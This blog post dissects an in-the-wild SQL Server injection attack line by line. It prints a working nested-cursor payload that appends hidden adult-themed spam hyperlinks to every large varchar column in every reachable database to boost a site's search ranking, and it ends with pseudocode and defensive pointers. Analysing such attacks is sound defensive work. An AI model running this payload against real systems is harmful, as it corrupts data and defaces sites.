The attacker is going to run his first query on your database and iterate through the results with @b. The first thing the attacker does is figure out what databases he actually has access to (since he probably knows next to nothing about who you are, what server he's on, who owns it, what it's name is, etc.). He actually probably doesn't care about the answer to most of those questions, he just needs to know which databases he has access to so he can run the next set of queries below. Think of it as getting dropped into a dark room without lights. You're in, but you don't know where. First thing you're going to do is scratch around the wall for a light switch to see which room you're actually in. Think of this as a loop, for each database I have access to run some commands against it. Each time through the loop the database name gets saved in @w.


*********************
set @s='begin
try use '+@w+';
declare@ c cursor;
declare@ d varchar(4000);

*********************


Next the attacker is getting ready to nest cursors and run a 2nd query against each database he has access to. The first thing he has to do is tell SQL to use the database name stored in @w. Now that he's in that database, he is going to declare 2 new variables. 1.) @c is a cursor that will allow him to iterate through the results of the next query 2.) @d is a large string that will store an update SQL statement he's generating and going to run against your database.


*********************
set@ c = cursor for select '' update['' + TABLE_NAME + ''] set['' + COLUMN_NAME + ''] = ['' + COLUMN_NAME + ''] + case ABS(CHECKSUM(NewId())) % 10 when 0 then '' '' '' + char(60) + '' div style = "display:none" '' + char(62) + '' group sex stories with pictures '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx" '' + char(62) + '' '' '' + case ABS(CHECKSUM(NewId())) % 3 when 0 then '' '' stories of sex '' '' when 1 then '' '' ohiovalleyrestoration.com '' '' else '' '' read '' '' end + '' '' '' + char(60) + char(47) + '' a '' + char(62) + '' hot hot interracial sex stories '' + char(60) + char(47) + '' div '' + char(62) + '' '' '' else '' '' '' '' end '' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id = o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME = TABLE_NAME WHERE(indid in (0, 1)) and DATA_TYPE like '' % varchar '' and(CHARACTER_MAXIMUM_LENGTH in (2147483647, -1));
*********************


Now for the payload, or the thing that makes this SQL injection unique. He's running a select (read) query against the database he's currently in (remember he's going to do this for every database he has access to). The SQL statement is looking thru every table in that databases (using system tables like sysindexs and sysobjects). For each table it's looking for all fields that are of type string (DATA_TYPE like '%varchar) and have a certain max length that will fit the data he wants in it. Then he's returning a row for each one of those table/column combinations that will be used below to actually overwrite that column with a new value that he's supplying. In this case it's a hyperlink (<a href) to a website/page that he wants to skyrocket in the Google search results. The idea is that hopefully some of these columns get displayed back out on the website and this will generate a bunch of links back to the evil site causing Google search bot to get all excited and happy that the site has so many links referencing it, thus thinking it's important, and thus skyrocketing it to the top of the search results.


*********************
open@ c;
fetch next from@ c into@ d;
while@@ FETCH_STATUS = 0 begin

*********************


The query is run, each row/result is a SQL update statement saved the into @d variable.


*********************
exec(@d);
fetch next from@ c into@ d;
end;
close@ c end try begin catch end catch ';

*********************


The update statement @d is actually executed against the current database we're in, essentially overwriting every large string (varchar) column with these hyperlinks.


*********************
exec (@s);

*********************


It's nested cursors, so this exec statement against the first cursor (@s) is what actually calls that 2nd cursor (@d) and runs all the statements.


*********************
fetch next from @b into @w;
end;
close @b--

*********************


Then the cursors are closed/cleaned up. Notice the -- at the end, that is standard SQL Injection, to ensure that the remainder of whatever was supposed to run is commented out.

Since the above code, even when broke out and explained, it pretty complex, I thought I'd write some simpler Psuedo Code below to summarize it.




*********************
for-each Database 'db' I have access to
  for-each Table 'tb' in the 'db'
    for-each Column 'c1' in the 'tb'
      if c1 is a large varchar
        overwrite c1 with my hyperlink

*********************


If you want to learn more about SQL Injection check owasp. If you want an example of a tool to prevent SQL Injection in Microsoft .NET code try the WPL (Web Protection Library).

More about neonprimetime


Top Blogs of all-time
  1. ali.txt php injection walk-thru
  2. apache struts2 rce walk-thru
  3. crash 1/3 internet


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.